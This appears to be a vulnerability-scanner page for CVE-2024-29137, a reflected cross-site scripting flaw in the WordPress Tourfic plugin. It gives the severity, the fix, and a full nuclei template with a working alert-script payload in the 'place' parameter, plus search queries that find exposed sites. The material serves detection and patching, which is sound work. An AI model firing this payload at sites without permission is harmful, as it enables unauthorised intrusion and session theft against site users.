WordPress Tourfic Plugin <= 2.11.7 - Cross-Site Scripting

highseverity

7.1CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

The Tourfic plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions up to and including 2.11.7 due to insufficient input sanitization and output escaping in the 'place' parameter.

Impact

Attackers can execute malicious scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.

Fix

Update to Tourfic version 2.11.8 or later.

How to confirm it

Send: GET {{BaseURL}}/index.php?rest_route=/wp/v2/pages&per_page=100
Send: GET {{BaseURL}}/?page_id={{search_page_id}}&type=tf_hotel&place=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&adults=2&children=1&room=1
Positive when: status_code == 200 and contains(header, "text/html") and contains(body, "><script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2024-29137 -u <target>

The full check

id: CVE-2024-29137

info:
  name: WordPress Tourfic Plugin <= 2.11.7 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: high
  description: |
    The Tourfic plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions up to and including 2.11.7 due to insufficient input sanitization and output escaping in the 'place' parameter.
  impact: |
    Attackers can execute malicious scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
  remediation: |
    Update to Tourfic version 2.11.8 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29137
    - https://patchstack.com/database/vulnerability/tourfic/wordpress-tourfic-plugin-2-11-7-reflected-cross-site-scripting-xss-vulnerability
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tourfic/tourfic-2117-reflected-cross-site-scripting
    - https://wpscan.com/vulnerability/f93321c7-d4e3-470c-9fd9-8e65c2284c5d/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-29137
    epss-score: 0.00617
    epss-percentile: 0.49885
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: themefic
    product: tourfic
    framework: wordpress
    publicwww-query: "/wp-content/plugins/tourfic/"
    fofa-query: body="/wp-content/plugins/tourfic/"
  tags: cve,cve2024,wordpress,wp-plugin,xss,tourfic,unauth,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?rest_route=/wp/v2/pages&per_page=100'

    extractors:
      - type: regex
        name: search_page_id
        group: 1
        regex:
          - '"slug":"tf-search"[^}]*"link":"[^"]*page_id=(\d+)"'
        internal: true

  - method: GET
    path:
      - '{{BaseURL}}/?page_id={{search_page_id}}&type=tf_hotel&place=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&adults=2&children=1&room=1'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "><script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from